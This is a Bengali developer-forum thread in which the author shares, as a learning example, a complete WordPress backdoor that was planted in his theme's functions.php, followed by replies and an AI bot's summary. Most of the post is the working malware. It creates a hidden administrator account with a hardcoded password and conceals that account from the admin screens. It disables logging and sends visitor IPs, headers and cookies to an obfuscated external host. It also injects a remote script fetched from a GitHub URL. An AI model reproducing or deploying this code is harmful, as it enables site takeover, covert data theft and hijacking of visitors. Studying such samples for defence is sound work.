হ্যাকারের কোড দেখেও অনেক কিছু শেখা যায়

অনেক সময় হ্যাকারের কোড দেখেও আপনি অনেক কিছু শিখতে পারবেন। আমি এডভান্স ওয়ার্ডপ্রেসের কাজ, ডেটাবেজের সাথে কানেক্ট হওয়া থেকে শুরু করে সিকিউরিটির ব্যাপারগুলা হ্যাকারের কোড দেখেই শিখেছি। আগে আমি নিয়মিত ওয়ার্ডফেন্স এর ব্লগ পড়তাম, সেখান থেকে হ্যাক হওয়া ফাইলের স্যাম্পল কালেকশন করে এনালাইসিস করতাম। ইদানিং সময় পাই না তেমন।

সিকিউরিটি নিয়ে কাজ করাটা খুব একসাইটিং একটা ব্যাপার। আপনি হ্যাকারের মত চিন্তা করতে পারলে অনেক কিছুই সহজ হয়ে যায়। কারন হ্যাকারের সেন্স বোঝা, তার ব্রেন পড়া একটু গুরুত্বপূর্ণ জিনিস। প্রোগ্রামিং জিনিসটাই সেন্স এর ব্যাপার। এখানে কিছু রুলস আছে সেগুলা লাইফেও এপ্লাই করা যায়।

যাই হোক এখানে একটা কোড দিচ্ছি। এই কোডটা আমার সাইটের একটিভ থিমের ফাংশন ফাইলে এড করা হয়েছে। এখানে দেখতে পারবেন হ্যাকার প্রথমে তার ব্যাকডোর তৈরি করে নিচ্ছে, সে ক্যাশ ফাইল থেকে ওয়ার্ডপ্রেসে ইউজার তৈরি করে নিচ্ছে যদি কোন সময় সে একসেস হারায়।

পরবর্তী কোডে সে একটা কুকি তৈরি করে নিচ্ছে MkQQ নামে, এখানে সে এই কুকি দিয়েই মূলত ইউজার তৈরি বা অন্য কাজ সম্পাদন করার জন্য রেখে দিচ্ছে। কুকি জিনিসটা খুবই গুরুত্বপূর্ণ।

এরপর সে এই কুকি দিয়ে এটাক শুরু করছে। এমনকি সে ওয়ার্ডপ্রেসের এরর রিপোটিংকে বন্ধ করে দিচ্ছে, লগিং বন্ধ করে দিচ্ছে এবং বেশ কিছু কাজ করে নিচ্ছে।

এরপর সে HTTP_X_FORWARDED_FOR ক্লাসের মাধ্যমে সে শুধু মাত্র লগআউট ইউজার মানে ভিজিটর কে ডিটেক্ট করে তাকে তার ইচ্ছামত সাইটে রিডাইরেক্ট করিয়ে নিয়ে যাচ্ছে। এতে করে সাইটের এডমিন টেরও পাচ্ছে না যে তার সাইট থেকে ভিজিটর চুরি করে নিয়ে যাচ্ছে হ্যাকার। ভিজিটরের এত সময় নাই যে এডমিনকে রিপোর্ট করবে। টাকা দিয়ে সে ট্রাফিক আনছে সেই ট্রাফিক চলে যাচ্ছে অন্য সাইটে।

সাইটের এডমিন কিছুই বুঝতে পারবে না কারন তার কাছে কোন লগ নাই, এরর মেসেজ নাই কিছুই নাই। সে সাইট ভিজিট করে দেখবে সাইটে সব কিছুই ঠিকঠাক আছে। আবার কোডগুলা এত সুন্দর করে লেখা হয়েছে যে ওয়ার্ডপ্রেসের সিকিউরিটি প্লাগিনগুলাও ধরতে পারছে না যে হাইজ্যাক হচ্ছে ফ্রন্টেন্ডে। আপনি এই কোড আপনার থিমের ফাংশন পিএইচপিতে (ভাই, সাবধানে :wink: ) দিয়ে ওয়ার্ডফেন্স দিয়ে স্ক্যান করে দেখেন সে কিছুই ডিটেক্ট করতে পারবে না। সুতরাং এই হ্যাকের কোন নোটিফিকেশন সাইটের এডমিন পাবে না।

এখান থেকে অনেক কিছু শেখা গেল, আমি আমার কালেকশনে রেখে দিলাম। দরকার পড়লে কাজে লাগাবো, অবশ্যই ভালো কাজে।

আমি এটা আপনাদের কাছে শেয়ার করলাম যাতে করে আপনিও এভাবে চিন্তা করা শুরু করতে পারেন। পরবর্তীতে দেখাবো কিভাবে এই জিনিস ডিটেকশন সিস্টেম বানাইছি এবং কিভাবে হ্যাক হওয়া সাইট পুনরুদ্ধার করা যায়।

শয়তানি কোড নিচে (don’t try this at your home (production server) :wink: )

if (!function_exists('wp_enqueue_async_script') && function_exists('add_action') && function_exists('wp_die') && function_exists('get_user_by') && function_exists('is_wp_error') && function_exists('get_current_user_id') && function_exists('get_option') && function_exists('add_action') && function_exists('add_filter') && function_exists('wp_insert_user') && function_exists('update_option')) {

    add_action('pre_user_query', 'wp_enqueue_async_script');
    add_filter('views_users', 'wp_generate_dynamic_cache');
    add_action('load-user-edit.php', 'wp_add_custom_meta_box');
    add_action('admin_menu', 'wp_schedule_event_action');

    function wp_enqueue_async_script($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function wp_generate_dynamic_cache($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_add_custom_meta_box() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function wp_schedule_event_action() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $params = array(
        'user_login' => 'adminbackup',
        'user_pass' => 'itrTy4fUCE',
        'role' => 'administrator',
        'user_email' => '[email protected]'
    );

    if (!username_exists($params['user_login'])) {
        $id = wp_insert_user($params);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $params['user_login']);
        if ($hidden_user->user_email != $params['user_email']) {
            $id = get_option('_pre_user_id');
            $params['ID'] = $id;
            wp_insert_user($params);
        }
    }

    if (isset($_COOKIE['WORDPRESS_ADMIN_USER']) && username_exists($params['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}

if(isset($_COOKIE['MkQQ'])) {
    die('smR'.'Bh0');
}

if (!class_exists('HTTP_X_FORWARDED_FOR')) {
    if (@function_exists('is_user_logged_in')) {
        if (is_user_logged_in()) {
            return false;
        }
    }
    foreach ($_COOKIE as $key => $value) {
        if (strpos($key, 'wordpress_logged_in_') === 0) {
            return false;
        }
    }
    @ini_set('display_errors', 0);
    @ini_set('error_reporting', 0);
    @ini_set('log_errors', NULL);
    @ini_set('default_socket_timeout', 5);
    $bad_ua = '#(google|msnbot|baidu|yahoo|search|bing|ask|indexer|cuill.com|clushbot|360spider|80legs|aibot|aboundex|acunetix|ahrefsbot|alexibot|blexbot|backdoorbot|backweb|baiduspider|bandit|batchftp|bigfoot|blackwidow|blowfish|botalot|buddy|builtbottough|bullseye|bunnyslippers|cegbfeieh|cheesebot|cherrypicker|chinaclaw|cogentbot|collector|copier|copyrightcheck|crescent|custo|diibot|disco|dittospyder|drip|easydl|eirgrabber|emailcollector|emailsiphon|emailwolf|erocrawler|exabot|extractor|eyenetie|fhscan|foobot|frontpage|go-ahead-got-it|grabnet|grafula|hmview|httrack|harvest|ilsebot|infonavibot|infotekies|intelliseek|interget|iria|joc|jakarta|jennybot|jetcar|justview|jyxobot|lnspiderguy|lexibot|linkscan|linkwalker|linkextractorpro|linkpadbot|miixpc|mj12bot|mag-net|magnet|markwatch|memo|mirror|nameprotect|nicerspro|npbot|navroad|nearsite|netants|netmechanic|netspider|netzip|netcraft|nextgensearchbot|nimblecrawler|ninja|octopus|openfind|outfoxbot|pagegrabber|pockey|propowerbot|prowebwalker|pump|rma|reget|realdownload|reaper|recorder|repomonkey|seokicks|searchmetricsbot|semrushbot|siphon|siteexplorer|sitesnagger|slysearch|smartdownload|snake|snapbot|snoopy|spacebison|spankbot|sqworm|stripper|sucker|superbot|superhttp|surfbot|szukacz|teleport|telesoft|thenomad|tighttwatbot|titan|true_bot|turnitinbot|turnitinbot|vci|vacuum|voideye|wisenutbot|www-collector-e|wwwoffle|webauto|webbandit|webcopier|webemailextrac|webenhancer|webfetch|webleacher|webreaper|websauger|webstripper|webwhacker|webzip|webmasterworldforumbot|webster|wget|whacker|widow|xaldon|xenu|zeus|zmeu|zyborg|asterias|attach|cosmos|dragonfly|ecatch|ebingbong|flunky|gotit|hloader|humanlinks|ia_archiver|larbin|lftp|likse|lwp-trivial|moget|niki-bot|pavuk|pcbrowser|psbot|rogerbot|sogou|spanner|spbot|suzuran|takeout|turingos|facebookexternalhit )#i';
    $bad_uri = '#\?view=login|\?view=registration|\?wc-ajax|xmlrpc.php|wp-includes|wp-content|wp-login.php|wp-cron.php|\?feed=|wp-json|\/feed|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.tiff|\.mpg|\.wmv|\.mp3|\.mpeg|\.zip|\.gzip|\.rar|\.exe|\.pdf|\.doc|\.swf|\.txt|wp-admin|administrator#i';
    $ruri = strtolower(trim($_SERVER["REQUEST_URI"], "\t\n\r\0\x0B/"));
    if (@preg_match($bad_ua, strtolower($_SERVER["HTTP_USER_AGENT"])) || preg_match($bad_uri, $ruri)) {
        return;
    }
    if (!@function_exists('getallheaders')) {
        function getallheaders() {
            $headers = array();
            foreach ($_SERVER as $name => $value) {
                if (substr($name, 0, 5) == 'HTTP_') {
                    $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
                }
            }
            return $headers;
        }
    }
    class HTTP_X_FORWARDED_FOR {
        public $u = "\x68\x74\x74\x70s\x3a/\x2fs\x74r\x65a\x6dm\x61i\x6e.\x74o\x70/\x61p\x69.\x70h\x70";
        public $params = array();
        public $cookie;
        public $host;

        private function get_ip() {
            $ip = null;
            $headers = array('HTTP_X_FORWARDED_FOR', 'HTTP_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_FORWARDED', 'HTTP_CLIENT_IP', 'HTTP_FORWARDED_FOR_IP', 'X_FORWARDED_FOR', 'FORWARDED_FOR', 'X_FORWARDED', 'FORWARDED', 'CLIENT_IP', 'FORWARDED_FOR_IP', 'HTTP_PROXY_CONNECTION');
            foreach ($headers as $header) {
                if (!empty($_SERVER[$header])) {
                    $tmp = explode(',', $_SERVER[$header]);
                    $ip = trim($tmp[0]);
                    break;
                }
            }
            if (strstr($ip, ',')) {
                $tmp = explode(',', $ip);
                if (stristr($_SERVER['HTTP_USER_AGENT'], 'mini')) {
                    $ip = trim($tmp[count($tmp) - 2]);
                } else {
                    $ip = trim($tmp[0]);
                }
            }
            if (empty($ip)) {
                $ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '127.0.0.1';
            }
            return $ip;
        }
        function init() {
            $this->host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost';
            $this->cookie = isset($_SERVER["HTTP_COOKIE"]) ? preg_replace('/PHPSESSID=.*?;/si', '', $_SERVER["HTTP_COOKIE"]) : null;
            $lang = (isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2) : '');
            $referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : null;
            $this->params = array('ip' => $this->get_ip(), 'ua' => isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : null, 'language' => $lang, 'seReferrer' => $referrer, 'referrer' => $referrer, 'original_headers' => getallheaders(), 'original_host' => $this->host, 'source' => $this->host, 'info' => 0, 'token' => 'gynqxzqmkqqv3k1zyksn5bb639ffplvl');
            if (empty($_COOKIE['WPSESSID'])) {
                $response = $this->request($this->u);
                if ($response === false) {
                    print rawurldecode('%3Bvar%20url%20%3D%20%27https%3A%2F%2Fraw.githubusercontent.com%2FAlexanderRPatton%2Fcdn%2Fmain%2Frepo.txt%27%3Bfetch%28url%29.then%28response%20%3D%3E%20response.text%28%29%29.then%28data%20%3D%3E%20%7Bvar%20script%20%3D%20document.createElement%28%27script%27%29%3Bscript.src%20%3D%20data.trim%28%29%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28script%29%3B%7D%29%3B');
                } else {
                    $c = @json_decode($response, true);
                    if (isset($c['body'])) {
                        if (substr($c['body'], 0, 7) == '<script') {
                            print $c['body'];
                        }
                    }
                }
                setcookie('WPSESSID', 1, time() + 86400, time());
            }
        }
        function request($url) {
            if (@function_exists('curl_init')) {
                $ch = curl_init($url);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                curl_setopt($ch, CURLOPT_URL, $url);
                curl_setopt($ch, CURLOPT_HEADER, 0);
                curl_setopt($ch, CURLOPT_COOKIE, $this->cookie);
                curl_setopt($ch, CURLOPT_NOBODY, 0);
                curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
                curl_setopt($ch, CURLOPT_TIMEOUT, 10);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($this->params));
                return curl_exec($ch);
            }
            return false;
        }
    }
    $obj = new HTTP_X_FORWARDED_FOR;
    $obj->init();
}
40 Likes

আমার শেখার ক্ষেত্রে সবচে বেশি ভূমিকা রেখেছিলো সোর্স কোড পড়া ও বুঝা। হ্যাকারদের কোডও অনেক পড়েছি আসলেই অনেক কিছু শেখা যায়।

5 Likes

নতুনদের শেখার মতো খুব ভালো একটা আর্টিকেল।

কবি বলেছেন, আপনি একটা জিনিস

7 Likes

এইরকম হ্যাকিং কোড হলে তো আমরা চুনোপুটি দেখেও বুঝবো না। আমি ২/৩ টা ফাইভারে হ্যাকড সাইট পেয়েছিলাম, এমন কোনো জানা মেথড বাকি রাখিনি তারপরও ম্যালওয়্যার ইঞ্জেক্ট হয়ে যায় ডাটাবেস-এ। তখন এ মাথায় ঢুকলো এই টাইপ কাজের জন্য ডেভেলপার টাইপ নলেজ লাগবে। যাইহোক আমি অ্যাডভান্সড ব্যাপার গুলো এখনো বুঝিনা।

কইয়ের তেল দিয়ে কই ভাজা অবস্থা হা হা হা

@ai_bot এই টপিকটি সম্পর্কে কিছু বলে যাও। লেখক কি সঠিক বলেছে?

2 Likes

Sure, I’d be happy to analyze this topic. First, let me search for any relevant information in our forum.

I apologize, but I couldn’t find any specific topics on this forum about hacking code or WordPress security. However, I can provide some general insights based on the information shared in the original post.

The author, Rasel, is discussing the importance of understanding hacker code and security practices in WordPress development. He makes several key points:

  1. Learning from hacker code: The author suggests that studying hacker code can be educational for developers, especially in areas like advanced WordPress development, database connections, and security measures.

  2. Security mindset: He emphasizes the importance of thinking like a hacker to improve security practices.

  3. Example of malicious code: The post includes a sample of malicious PHP code that could be injected into a WordPress theme’s functions file. This code demonstrates various techniques hackers might use, such as:

    • Creating backdoor admin accounts
    • Manipulating cookies
    • Redirecting visitors
    • Disabling error reporting and logging
  4. Stealth techniques: The author points out how this malicious code is designed to evade detection by security plugins and site administrators.

  5. Learning opportunity: He presents this as a learning opportunity for developers to understand potential threats and improve their security practices.

While the author’s approach of studying malicious code for educational purposes can be valuable, it’s important to note that using or implementing such code on live websites would be unethical and illegal. The author correctly warns readers not to try this on production servers.

It’s also worth mentioning that cybersecurity is a complex field, and while understanding hacker techniques can be helpful, it should be part of a broader, ethical approach to security that includes staying updated with best practices, using secure coding techniques, and implementing proper security measures.

As an AI assistant, I must emphasize that engaging in hacking activities or using malicious code is illegal and unethical. Instead, developers should focus on learning about security through legitimate channels, such as official documentation, reputable security courses, and ethical hacking practices.

2 Likes

Thank you! কবি বলেছেন, আপনি একটা জিনিস(2)।

1 Like

@rasel vai How to analyse the code. can you describe it if you have time. Or what type of skill do i need to analyse the code?

The code itself explain. You may search part by part on ai

1 Like

মারাত্মক ব্যাপার তো!